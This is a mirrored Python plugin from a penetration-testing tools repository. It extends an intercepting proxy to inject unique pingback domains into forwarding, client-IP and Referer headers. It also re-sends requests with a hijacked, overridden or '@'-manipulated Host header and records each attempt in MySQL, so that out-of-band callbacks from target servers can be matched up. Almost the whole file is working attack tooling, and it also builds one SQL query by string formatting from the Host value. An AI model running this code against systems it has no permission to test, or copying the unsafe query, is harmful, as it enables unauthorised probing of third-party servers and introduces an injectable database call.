mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-23 01:21:03 +01:00
324 lines
12 KiB
Python
324 lines
12 KiB
Python
#!/usr/bin/python3
|
|
|
|
import re
|
|
import sys
|
|
import json
|
|
import string
|
|
import random
|
|
import datetime
|
|
import socket
|
|
import requests
|
|
import functools
|
|
from urlparse import urljoin, urlparse
|
|
from threading import Lock
|
|
from Database import Database
|
|
from proxylogger import ProxyLogger
|
|
from threading import Thread
|
|
from time import sleep
|
|
|
|
VERSION = '0.1'
|
|
|
|
# Must point to JSON file containing configuration mentioned in `config` dictionary below.
|
|
# One can either supply that configuration file, or let the below variable empty and fill the `config`
|
|
# dictionary instead.
|
|
CONFIGURATION_FILE = 'config.json'
|
|
|
|
config = {
|
|
# The server hostname where affected systems shall pingback.
|
|
'pingback-host': '',
|
|
'server-remote-addr': '',
|
|
|
|
'mysql-host': '',
|
|
'mysql-user': '',
|
|
'mysql-pass': '',
|
|
'mysql-database': '',
|
|
}
|
|
|
|
append_headers = (
|
|
'X-Forwarded-For',
|
|
'Referer',
|
|
'True-Client-IP',
|
|
'X-Originating-IP',
|
|
'X-Client-IP',
|
|
'Client-IP',
|
|
'X-Real-IP',
|
|
'Contact',
|
|
'Forwarded',
|
|
'CF-Connecting_IP',
|
|
'X-WAP-Profile'
|
|
)
|
|
|
|
visited_hosts = set()
|
|
add_host_lock = Lock()
|
|
database_lock = Lock()
|
|
|
|
CONNECTION_TIMEOUT = 4.0
|
|
CHUNK_SIZE = 512
|
|
|
|
def generateRandomId():
|
|
randomized = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(50))
|
|
return "xxx" + randomized + "yyy"
|
|
|
|
# note that this decorator ignores **kwargs
|
|
def memoize(obj):
|
|
cache = obj.cache = {}
|
|
|
|
@functools.wraps(obj)
|
|
def memoizer(*args, **kwargs):
|
|
if args not in cache:
|
|
cache[args] = obj(*args, **kwargs)
|
|
return cache[args]
|
|
return memoizer
|
|
|
|
|
|
class SendRawHttpRequest:
|
|
def __init__(self, proxyOptions, logger):
|
|
self.sock = None
|
|
self.logger = logger
|
|
self.proxyOptions = proxyOptions
|
|
|
|
def connect(self, host, port, _ssl, timeout):
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
if _ssl:
|
|
context = ssl.create_default_context()
|
|
context.check_hostname = False
|
|
context.options |= ssl.OP_ALL
|
|
context.verify_mode = ssl.CERT_NONE
|
|
|
|
self.sock = context.wrap_socket(sock)
|
|
else:
|
|
self.sock = sock
|
|
|
|
self.sock.settimeout(timeout)
|
|
self.sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
|
|
self.sock.connect((host, port))
|
|
self.logger.dbg('Connected with {}'.format(host))
|
|
return True
|
|
|
|
except Exception as e:
|
|
self.logger.err('[!] Could not connect with {}:{}!'.format(host, port))
|
|
if self.proxyOptions['debug']:
|
|
raise
|
|
return False
|
|
|
|
def close(self):
|
|
if self.sock:
|
|
self.sock.shutdown(socket.SHUT_RDWR)
|
|
self.sock.close()
|
|
|
|
self.sock = None
|
|
self.raw_socket = None
|
|
self.ssl_socket = None
|
|
|
|
def receiveAll(self, chunk_size=CHUNK_SIZE):
|
|
chunks = []
|
|
while True:
|
|
try:
|
|
chunk = resp = self.sock.recv(int(chunk_size))
|
|
except:
|
|
if chunk:
|
|
chunks.append(chunk)
|
|
break
|
|
|
|
if chunk:
|
|
chunks.append(chunk)
|
|
else:
|
|
break
|
|
|
|
return ''.join(chunks)
|
|
|
|
def send(self, host, port, ssl, data, timeout = CONNECTION_TIMEOUT):
|
|
if not self.connect(host, port, ssl, timeout):
|
|
return False
|
|
|
|
self.sock.send(data)
|
|
resp = self.receiveAll()
|
|
self.close()
|
|
return resp.decode(errors='ignore')
|
|
|
|
class ProxyHandler:
|
|
method = ''
|
|
request = None
|
|
requestBody = None
|
|
|
|
def __init__(self, logger, params, proxyOptions = None):
|
|
global config
|
|
|
|
self.databaseInstance = self.connection = None
|
|
self.logger = logger
|
|
self.params = params
|
|
self.proxyOptions = proxyOptions
|
|
|
|
if CONFIGURATION_FILE:
|
|
config.update(json.loads(open(CONFIGURATION_FILE).read()))
|
|
|
|
config['debug'] = proxyOptions['debug']
|
|
|
|
self.logger.info('Initializing Pingback proxy2 plugin.')
|
|
|
|
self.connection = None
|
|
self.createConnection()
|
|
|
|
def createConnection(self):
|
|
self.databaseInstance = Database()
|
|
|
|
self.logger.info("Connecting to MySQL database: {}@{} ...".format(
|
|
config['mysql-user'], config['mysql-host']
|
|
))
|
|
self.connection = self.databaseInstance.connection( config['mysql-host'],
|
|
config['mysql-user'],
|
|
config['mysql-pass'],
|
|
config['mysql-database'])
|
|
|
|
if not self.connection:
|
|
self.logger.err('Could not connect to the MySQL database! ' \
|
|
'Please configure inner `MySQL` variables such as Host, User, Password.')
|
|
sys.exit(1)
|
|
|
|
self.logger.info('Connected.')
|
|
|
|
def executeSql(self, query, params = None):
|
|
try:
|
|
assert self.connection
|
|
database_lock.acquire()
|
|
if not params:
|
|
out = self.databaseInstance.query(query)
|
|
else:
|
|
out = self.databaseInstance.query(query, params = params)
|
|
|
|
database_lock.release()
|
|
if not out:
|
|
return []
|
|
return out
|
|
|
|
except Exception as e:
|
|
self.logger.err('SQL query ("{}", params: {}) has failed: {}'.format(
|
|
query, str(params), str(e)
|
|
))
|
|
database_lock.release()
|
|
if self.proxyOptions['debug']:
|
|
raise
|
|
return []
|
|
|
|
@staticmethod
|
|
@memoize
|
|
def requestToString(request):
|
|
headers = '\r\n'.join(['{}: {}'.format(k, v) for k, v in request.headers.items()])
|
|
out = '{} {} {}\r\n{}'.format(request.command, request.path, request.request_version, headers)
|
|
return out
|
|
|
|
@staticmethod
|
|
def getPingbackUrl(request):
|
|
#guid = str(uuid.uuid4())
|
|
guid = generateRandomId()
|
|
url = "http://{}.{}/".format(guid, config['pingback-host'])
|
|
return (url, guid)
|
|
|
|
def saveRequestForCorrelation(self, request, pingback, uuid, where):
|
|
query = 'INSERT INTO requests(id, sent, uuid, desthost, pingback, whereput, request) VALUES(%s, %s, %s, %s, %s, %s, %s)'
|
|
generatedRequest = ProxyHandler.requestToString(self.request)
|
|
desthost = self.request.headers['Host']
|
|
values = ('0', datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S'), uuid, desthost, pingback, where, generatedRequest)
|
|
self.executeSql(query, values)
|
|
|
|
@staticmethod
|
|
def sendRawRequest(request, requestData, proxyOptions, logger):
|
|
raw = SendRawHttpRequest(proxyOptions, logger)
|
|
port = 80 if request.scheme == 'http' else 443
|
|
return raw.send(request.headers['Host'], port, request.scheme == 'https', requestData)
|
|
|
|
def hostOverriding(self):
|
|
(pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
|
|
requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
|
|
requestData+= 'Host: {}\r\n'.format(self.request.headers['Host'])
|
|
requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
|
|
requestData+= 'Accept: */*\r\n'
|
|
requestData+= 'Connection: close\r\n'
|
|
|
|
self.saveRequestForCorrelation(self.request, pingback, uuid, 'Overridden Host header ({} -> GET /{} )'.format(self.request.headers['Host'], pingback))
|
|
ProxyHandler.sendRawRequest(self.request, requestData, self.proxyOptions, self.logger)
|
|
self.logger.dbg('(2) Re-sending host overriding request ({} -> {})'.format(self.request.path, pingback))
|
|
|
|
def hostAtManipulation(self):
|
|
(pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
|
|
url = urljoin(self.request.scheme + '://', self.request.headers['Host'], self.request.path)
|
|
parsed = urlparse(pingback)
|
|
|
|
requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
|
|
requestData+= 'Host: {}@{}\r\n'.format(self.request.headers['Host'], parsed.netloc)
|
|
requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
|
|
requestData+= 'Accept: */*\r\n'
|
|
requestData+= 'Connection: close\r\n'
|
|
|
|
self.saveRequestForCorrelation(self.request, pingback, uuid, 'Host header manipulation ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
|
|
ProxyHandler.sendRawRequest(self.request, requestData, self.proxyOptions, self.logger)
|
|
self.logger.dbg('(3) Re-sending host header @ manipulated request ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
|
|
|
|
def sendMisroutedRequests(self):
|
|
(pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
|
|
url = urljoin(self.request.scheme + '://', self.request.headers['Host'], self.request.path)
|
|
url = url.replace(':///', "://")
|
|
parsed = urlparse(pingback)
|
|
|
|
self.saveRequestForCorrelation(self.request, pingback, uuid, 'Hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
|
|
self.logger.dbg('ok(1) Re-sending misrouted request with hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
|
|
|
|
try:
|
|
self.logger.dbg('GET {}'.format(url))
|
|
requests.get(url, headers = {'Host' : parsed.netloc})
|
|
except Exception as e:
|
|
self.logger.err('Could not issue request to ({}): {}'.format(url, str(e)))
|
|
if self.proxyOptions['debug']:
|
|
raise
|
|
|
|
self.hostOverriding()
|
|
self.hostAtManipulation()
|
|
|
|
@memoize
|
|
def checkIfAlreadyManipulated(self, host):
|
|
query = 'SELECT desthost FROM {}.requests WHERE desthost = "{}"'.format(config['mysql-database'], host)
|
|
|
|
rows = self.executeSql(query)
|
|
if rows == False: return rows
|
|
for row in rows:
|
|
if self.request.headers['Host'] in row['desthost']:
|
|
self.logger.dbg('Host ({}) already was lured for pingback.'.format(row['desthost']))
|
|
return True
|
|
|
|
self.logger.dbg('Host ({}) was not yet lured for pingback.'.format(self.request.headers['Host']))
|
|
return False
|
|
|
|
def request_handler(self, req, req_body):
|
|
global visited_hosts
|
|
self.request = req
|
|
self.requestBody = req_body
|
|
|
|
self.request.scheme = self.request.path.split(':')[0].upper()
|
|
|
|
allowed_letters = string.ascii_lowercase + string.digits + '-_.'
|
|
host = filter(lambda x: x in allowed_letters, self.request.headers['Host'])
|
|
|
|
if (host not in visited_hosts) and (not self.checkIfAlreadyManipulated(host)):
|
|
add_host_lock.acquire()
|
|
visited_hosts.add(host)
|
|
add_host_lock.release()
|
|
|
|
for header in append_headers:
|
|
(pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
|
|
self.request.headers[header] = pingback
|
|
if 'IP' in header:
|
|
self.request.headers[header] = '{}.{}'.format(uuid, config['pingback-host'])
|
|
self.saveRequestForCorrelation(pingback, header, uuid, 'Header: {}'.format(header))
|
|
|
|
self.sendMisroutedRequests()
|
|
self.logger.info('Injected pingbacks for host ({}).'.format(host), forced = True)
|
|
|
|
|
|
return self.requestBody
|
|
|
|
def response_handler(self, req, req_body, res, res_body):
|
|
pass
|
|
|